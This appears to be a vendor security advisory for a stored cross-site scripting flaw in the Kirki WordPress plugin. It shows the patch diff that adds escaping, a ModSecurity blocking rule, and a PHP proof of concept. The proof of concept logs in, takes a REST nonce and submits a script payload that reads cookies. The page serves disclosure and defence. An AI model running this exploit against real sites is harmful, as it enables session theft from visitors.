+		if(isset($options['kirki_template_id']) && $options['kirki_template_id']) {
+			$collection_info['post_id'] = $options['kirki_template_id'];
+		}
+		if(isset($options['inside_symbol']) && $options['inside_symbol'] === true){
+			$collection_info['post_id'] = $options['symbol_id'];
+		}
+		return $collection_info;
+	}
+
 	/**
 	 * Generate custom code markup
 	 *
@@ -1248,6 +1256,9 @@
 		if ( ! $symbol_data || ! isset( $symbol_data['data'] ) ) {
 			return '';
 		}
+		$options['symbol_id'] = $symbol_id;
+		$options['inside_symbol'] = true;
+
 		$s           = HelperFunctions::rec_update_data_id_then_return_new_html( $symbol_data['data'], $symbol_data['styleBlocks'], $symbol_data['root'], $options );
 		$fonts_links = '';
 		if ( isset( $symbol_data['customFonts'] ) ) {
--- a/kirki/includes/Frontend/Preview/Preview.php
+++ b/kirki/includes/Frontend/Preview/Preview.php
@@ -160,6 +160,8 @@
 	 */
 	private $interaction_preset_and_text_animation_tracker = array();

+	private $interaction_library_text_animation_tracker = array();
+
 	private $scroll_into_custom_interaction_tracker = '';

 	private $track_animation_for_elements_with_this_class = '';
@@ -485,12 +487,18 @@

 	public function get_interaction_set_as_initial_css() {
 		$s = '';
-		if ( count( $this->interaction_preset_and_text_animation_tracker ) > 0 ) {
+		if ( count( $this->interaction_preset_and_text_animation_tracker ) > 0 || count( $this->interaction_library_text_animation_tracker ) > 0 ) {
 			$animation_css = '';
 			foreach ( $this->interaction_preset_and_text_animation_tracker as $ele_id => $bool ) {
 					$animation_css .= "[data-kirki='" . $ele_id . "'] { visibility: hidden; }";
 			}

+		foreach ( $this->interaction_library_text_animation_tracker as $ele_id => $devices ) {
+			$css_value     = "[data-kirki='" . $ele_id . "'] { visibility: hidden; }";
+			$media_queries = ! empty( $devices ) ? $this->setMediaQuery( $css_value, $devices ) : '';
+			$animation_css .= ! empty( $media_queries ) ? $media_queries : $css_value;
+		}
+
 			if ( $animation_css ) {
 					$s .= "<style data='kirki-element-animation-visibility'>";
 					$s .= $animation_css;
@@ -855,6 +863,8 @@
 		$s = $style_tag ? "<style id='kirki-variables-" . $key . "'>".$selector."{" : $selector."{";
 		$view_ports     = UserData::get_view_port_list();

+		$text_style_css = "";
+
 		foreach ($variables['data'] as $key2 => $group) {
 			if($group['key'] !== $mode_type) {
 				continue;
@@ -883,13 +893,17 @@
 						$s .= "$name:" . $variable['value'][$mode] . ";";
 						break;
 					case 'text-style':
-						$s .= self::buildTextStyleCss( $variable, $mode, $view_ports );
+						$text_style_css .= self::buildTextStyleCss( $variable, $mode, $view_ports );
 						break;
 				}
 			}
 		}

-		$s .= $style_tag ? '}</style>' : '}';
+		if($selector && $selector !== ':root'){
+			$text_style_css = "$selector{$text_style_css}";
+		}
+
+		$s .= $style_tag ? "}$text_style_css</style>" : "}$text_style_css";

 		self::$printed_variable_tracker[ $k ] = true;
 		return $s;
@@ -1061,6 +1075,7 @@
 			$seo_open_graph_image = self::getSeoValue( $post_id, $seo_settings['openGraph']['openGraphImage']['value'] );

 			$meta_tags .= self::getMeta( 'og:image', $seo_open_graph_image );
+			$meta_tags .= self::getMeta( 'twitter:card', 'summary_large_image' );
 			$meta_tags .= self::getMeta( 'twitter:image', $seo_open_graph_image );
 		}

@@ -1271,7 +1286,7 @@
 				$this->interactions[ $id ] = $this->updateClassListForInteractionFromStyleBlockId( $properties['interactions'], $element );
 			}
 			if(isset($properties['interactionLibrary'])) {
-				$this->interaction_library[ $id ] = $properties['interactionLibrary'];
+				$this->interaction_library[ $id ] = $this->updateStylesForInteractionLibrary( $properties['interactionLibrary'], $element );
 			}
 			if ( isset( $properties['code'], $properties['code']['javascript'] ) ) {
 				$this->custom_codes .= str_replace( 'KIRKI_TARGET_ELEMENT_ID', $id, $properties['code']['javascript'] );
@@ -1699,6 +1714,18 @@
 		return $interactionData;
 	}

+	private function updateStylesForInteractionLibrary( $interactionLibraryData, $element ) {
+		$id = $element['id'];
+		foreach ( $interactionLibraryData as $interactionLibrary ) {
+			if ( isset( $interactionLibrary['type'] ) && $interactionLibrary['type'] === 'textAnimation' ) {
+				$devices = isset( $interactionLibrary['deviceAndClassList']['devices'] ) ? $interactionLibrary['deviceAndClassList']['devices'] : array();
+				$this->interaction_library_text_animation_tracker[ $id ] = $devices;
+				break;
+			}
+		}
+		return $interactionLibraryData;
+	}
+
 	/**
 	 * Get element related config
 	 *
@@ -1880,6 +1907,7 @@
 				'generate_element'                   => array( $this, 'generateSingleElement' ),
 				'generate_child_element_with_new_id' => array( new HelperFunctions(), 'rec_update_data_id_then_return_new_html' ),
 				'get_data_and_styles_from_root'      => array( new DataHelper(), 'get_data_and_styles_from_root' ),
+				'get_collection_info'                => array( $this, 'get_collection_info' ),
 			)
 		);
 	}
@@ -2026,6 +2054,11 @@
 					}
 					$content = apply_filters( 'kirki_dynamic_content', false, $contentInfo );
 					if ( $content ) {
+						// Plain-text dynamic values (comment fields) are visitor supplied,
+						// so they are never trusted as a URL here.
+						if ( is_string( $content ) && in_array( $dynamic_content['type'] ?? '', Utils::get_plain_text_dynamic_content_types(), true ) ) {
+							return esc_url( html_entity_decode( $content, ENT_QUOTES | ENT_HTML5, 'UTF-8' ) );
+						}
 						return $content;
 					}

@@ -2432,4 +2465,4 @@
 		);
 		return join( ' ', $arr );
 	}
-}
 No newline at end of file
+}
--- a/kirki/includes/Frontend/Preview/Utils.php
+++ b/kirki/includes/Frontend/Preview/Utils.php
@@ -285,6 +285,52 @@
 		return $args;
 	}

+	/**
+	 * Dynamic content types whose values are plain text by nature and must never
+	 * be rendered as live markup.
+	 *
+	 * Comment fields are the important case: their content is supplied by
+	 * (potentially unauthenticated) visitors, so anything stored there is
+	 * untrusted. Rich types — `post` (post_content), `reference`, `gallery`,
+	 * `menu` — are deliberately excluded, because those are authored by users
+	 * with editing capabilities and are expected to emit HTML.
+	 *
+	 * @return string[]
+	 */
+	public static function get_plain_text_dynamic_content_types() {
+		return apply_filters( 'kirki_plain_text_dynamic_content_types', array( 'comment' ) );
+	}
+
+	/**
+	 * Escape a resolved dynamic value when its type is plain text by nature.
+	 *
+	 * The value is decoded first and then escaped, so markup that was stored in
+	 * entity-encoded form (`<script>`) is normalised to a single, escaped
+	 * representation and displays as the literal text the visitor typed instead
+	 * of turning back into a live tag further down the render pipeline.
+	 *
+	 * @param mixed $content         The resolved dynamic value.
+	 * @param array $dynamic_content The dynamic content definition.
+	 * @return mixed The escaped value, or the value untouched when it is not plain text.
+	 */
+	public static function esc_dynamic_text_value( $content, $dynamic_content ) {
+		if ( ! is_string( $content ) || '' === $content ) {
+			return $content;
+		}
+
+		$type = isset( $dynamic_content['type'] ) ? $dynamic_content['type'] : '';
+
+		if ( ! in_array( $type, self::get_plain_text_dynamic_content_types(), true ) ) {
+			return $content;
+		}
+
+		return htmlspecialchars(
+			html_entity_decode( $content, ENT_QUOTES | ENT_HTML5, 'UTF-8' ),
+			ENT_QUOTES,
+			'UTF-8'
+		);
+	}
+
 	public static function getDynamicRichTextValue( $dynamic_content, $options ) {
 		$html = '';
 		if ( ! $dynamic_content ) {
@@ -308,7 +354,7 @@
 		}
 		$content = apply_filters( 'kirki_dynamic_content', false, $contentInfo );
 		if ( $content ) {
-			return $content;
+			return self::esc_dynamic_text_value( $content, $dynamic_content );
 		}

 		// fix warning
--- a/kirki/includes/Frontend/TheFrontend.php
+++ b/kirki/includes/Frontend/TheFrontend.php
@@ -134,7 +134,6 @@
 			$content = $this->kirki_type_html_data['content'];
 		}
 		// Decode HTML entities. Example: [gravityform id="1"] → [gravityform id="1"]
-		$content = html_entity_decode( $content, ENT_NOQUOTES | ENT_HTML5, 'UTF-8' );

 		// Run shortcode manually
 		$content = do_shortcode( $content );
--- a/kirki/includes/HelperFunctions.php
+++ b/kirki/includes/HelperFunctions.php
@@ -1034,7 +1034,8 @@

 					// For now, only string is supported!
 					if (is_string($meta)) {
-						$content = $meta;
+						// Post meta is arbitrary, low-privilege-authored data: always escape.
+						$content = self::escape_post_meta_value($meta);
 					}
 				}

@@ -1374,9 +1375,53 @@

 		$s .= $html;
 		$s .= $preview->getScriptTag($should_take_app_script);
+
+		$s = self::decode_entities_without_creating_markup($s);
 		return $s;
 	}

+	/**
+	 * Decode HTML entities in already-rendered page markup without ever turning
+	 * escaped text back into live tags.
+	 *
+	 * The rendered document mixes trusted markup (elements the builder emitted,
+	 * including admin authored custom code) with escaped text nodes. A blanket
+	 * html_entity_decode() over that mix undoes the escaping applied while
+	 * rendering, so `<script>` stored in any text value — a visitor's
+	 * comment, for instance — becomes an executable `<script>` tag.
+	 *
+	 * Angle-bracket entities are therefore held back while everything else is
+	 * decoded as before, then restored verbatim. Entities such as `&`,
+	 * ` ` and named HTML5 entities keep decoding exactly as they used to;
+	 * markup emitted by the renderer is unaffected because it contains literal
+	 * `<`/`>`, not entities.
+	 *
+	 * @param string $content Rendered page markup.
+	 * @return string
+	 */
+	private static function decode_entities_without_creating_markup( $content ) {
+		if ( ! is_string( $content ) || '' === $content ) {
+			return $content;
+		}
+
+		$held = array();
+
+		// `<` `>` and their numeric/hex forms, in any zero-padded spelling.
+		$content = preg_replace_callback(
+			'/&(?:lt|gt|#0*(?:60|62)|#[xX]0*3[ceCE]);/',
+			function ( $matches ) use ( &$held ) {
+				$key          = "x02kirki-entity-" . count( $held ) . "x03";
+				$held[ $key ] = $matches[0];
+				return $key;
+			},
+			$content
+		);
+
+		$content = html_entity_decode( $content, ENT_NOQUOTES | ENT_HTML5, 'UTF-8' );
+
+		return strtr( $content, $held );
+	}
+
 	private static function collect_search_related_collection_ids($data)
 	{
 		$result = array();
@@ -3527,6 +3572,26 @@
 		}
 	}

+	/**
+	 * Escape a post meta value for safe output.
+	 *
+	 * The front-end content pipeline (TheFrontend::replace_content) applies a
+	 * single html_entity_decode() pass after core has processed shortcodes,
+	 * which would undo a plain esc_html(). Re-encoding the ampersands (with
+	 * double_encode enabled) yields a single-escaped value in the final output
+	 * while still neutralizing markup authored by low-privileged users.
+	 *
+	 * @param mixed $value The raw post meta value.
+	 * @return string Escaped value.
+	 */
+	public static function escape_post_meta_value($value)
+	{
+		if (!is_scalar($value)) {
+			return '';
+		}
+
+		return htmlspecialchars(esc_html((string) $value), ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8', true);
+	}

 	/**
 	 * Is Pro user checking function.
@@ -4701,4 +4766,38 @@
 		}
 		return $mode;
 	}
+
+	/**
+	 * Whether the target url is a safe, externally reachable http(s) URL.
+	 *
+	 * Rejects loopback, private, link-local and cloud-metadata addresses so a
+	 * planted form config cannot be used to probe the server's own network.
+	 *
+	 * @param string $url The URL.
+	 * @return bool
+	 */
+	public static function is_safe_url($url) {
+		$scheme = wp_parse_url($url, PHP_URL_SCHEME);
+		$host = wp_parse_url($url, PHP_URL_HOST);
+
+		if (!is_string($scheme) || !in_array(strtolower($scheme), array('http', 'https'), true)) {
+			return false;
+		}
+
+		if (!is_string($host) || '' === $host) {
+			return false;
+		}
+
+		if (filter_var($host, FILTER_VALIDATE_IP)) {
+			return (bool) filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
+		}
+
+		$ip = gethostbyname($host);
+
+		if (!filter_var($ip, FILTER_VALIDATE_IP) || $ip === $host) {
+			return false;
+		}
+
+		return (bool) filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
+	}
 }
--- a/kirki/includes/Manager/PluginShortcode.php
+++ b/kirki/includes/Manager/PluginShortcode.php
@@ -172,7 +172,10 @@
 					if ( is_singular() ) {
 						global $post;
 						$meta_value = get_post_meta( $post->ID, $data, true );
-						return $meta_value;
+					if ( is_string( $meta_value ) ) {
+						// Post meta is arbitrary, low-privilege-authored data: always escape.
+						return KirkiHelperFunctions::escape_post_meta_value( $meta_value );
+					}
 					}
 					return '';
 				}
--- a/kirki/includes/Manager/TemplateRedirection.php
+++ b/kirki/includes/Manager/TemplateRedirection.php
@@ -251,7 +251,7 @@
 		$kirki_data = HelperFunctions::is_kirki_type_data($template['id'], $staging_version);

 		if ($kirki_data) {
-
+			$options['kirki_template_id'] = $template['id'];
 			$params = array(
 				'blocks' => $kirki_data['blocks'],
 				'style_blocks' => $kirki_data['styles'],
--- a/kirki/kirki.php
+++ b/kirki/kirki.php
@@ -7,7 +7,7 @@
  * Plugin Name: Kirki
  * Plugin URI: https://kirki.com
  * Description: Kirki is an all-in-one no-code builder that empowers users to build professional-grade WordPress sites without writing any code. It’s a promising glimpse into the future of website development.
- * Version: 6.2.0
+ * Version: 6.2.1
  * Author: Kirki
  * Author URI: https://kirki.com
  * License: GPLv2 or later
@@ -26,7 +26,7 @@

 // Define KIRKI_VERSION early to prevent bundled Kirki versions from loading.
 if ( ! defined( 'KIRKI_VERSION' ) ) {
-	define( 'KIRKI_VERSION', '6.2.0' );
+	define( 'KIRKI_VERSION', '6.2.1' );
 }

 require_once plugin_dir_path( __FILE__ ) . 'config.php';
--- a/kirki/libraries/framework/Validation/RuleFactory.php
+++ b/kirki/libraries/framework/Validation/RuleFactory.php
@@ -137,7 +137,7 @@
             if (!$instance->has_constraint($name)) {
                 continue;
             }
-            if (!empty($arguments)) {
+            if ($arguments !== null) {
                 $instance->{$name}($arguments);
             } else {
                 $instance->{$name}();
@@ -252,7 +252,7 @@
             return null;
         }
         $arguments = array_last(explode(':', $rule, 2));
-        if (empty($arguments)) {
+        if ($arguments === null || $arguments === '') {
             return null;
         }
         if (str_contains($arguments, ',')) {
--- a/kirki/vendor/composer/installed.php
+++ b/kirki/vendor/composer/installed.php
@@ -29,9 +29,9 @@
             'dev_requirement' => false,
         ),
         'themeum/framework' => array(
-            'pretty_version' => '2.1.6',
-            'version' => '2.1.6.0',
-            'reference' => '426d51a81d5b820863f4cfbe5e5621fd736cb082',
+            'pretty_version' => '2.1.7',
+            'version' => '2.1.7.0',
+            'reference' => 'baa13d110ab722ae934542635ade9c398e42e109',
             'type' => 'library',
             'install_path' => __DIR__ . '/../themeum/framework',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-16974
# Rule blocks submissions to Kirki form endpoint with HTML-encoded script payloads.
# This targets only the specific vulnerable parameter and pattern, reducing false positives.

SecRule REQUEST_URI "@beginsWith /wp-json/kirki/v1/" "id:20261974,phase:2,deny,status:403,chain,msg:'CVE-2026-16974 - Stored XSS via Kirki form',severity:'CRITICAL',tag:'CVE-2026-16974'"
  SecRule ARGS:comment "@rx (<|<|%3C)[sS]*(script|iframe|svg|img)[sS]*" "chain"
  SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-16974 - Kirki - Freeform Page Builder, Website Builder & Customizer <= 6.2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via post_meta Shortcode

/*
 * PoC: This script demonstrates the Stored XSS vulnerability in Kirki <= 6.2.0.
 * It assumes an attacker has Contributor-level access and a valid nonce for the form.
 * It submits a comment payload with HTML-encoded script tags via the REST API.
 * The attacker must first obtain a valid nonce by fetching the page containing the form.
 */

$target_url = 'https://example.com';
$username = 'contributor_user';
$password = 'password';
$form_post_id = 123; // ID of the post/page containing the Kirki form

// Step 1: Authenticate and get nonce (using WordPress application password or regular login)
$login_url = $target_url . '/wp-login.php';
$login_data = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/kirki_cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Get the page with the form to extract the REST nonce
$page_url = $target_url . '/?p=' . $form_post_id;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $page_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/kirki_cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$page_html = curl_exec($ch);
curl_close($ch);

// Extract nonce from hidden field or JS variable (assuming it's present)
preg_match('/wpApiSettings.*?"nonce":"([a-f0-9]+)"/', $page_html, $matches);
if (!isset($matches[1])) {
    die('Failed to extract REST nonce. Check the form page.');
}
$nonce = $matches[1];

// Step 3: Prepare the XSS payload (encoded script)
$payload = '<script>alert(document.cookie)</script>';

// Step 4: Submit the form via REST API (assuming endpoint path; adjust as needed)
$rest_url = $target_url . '/wp-json/kirki/v1/comment';
$form_data = [
    'comment' => $payload,
    'post_id' => $form_post_id,
    'comment_parent' => 0,
    'name' => 'test'  // optional for anonymous
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'X-WP-Nonce: ' . $nonce,
    'Content-Type: application/x-www-form-urlencoded'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($form_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/kirki_cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Check success
echo "Response: " . $response . "n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.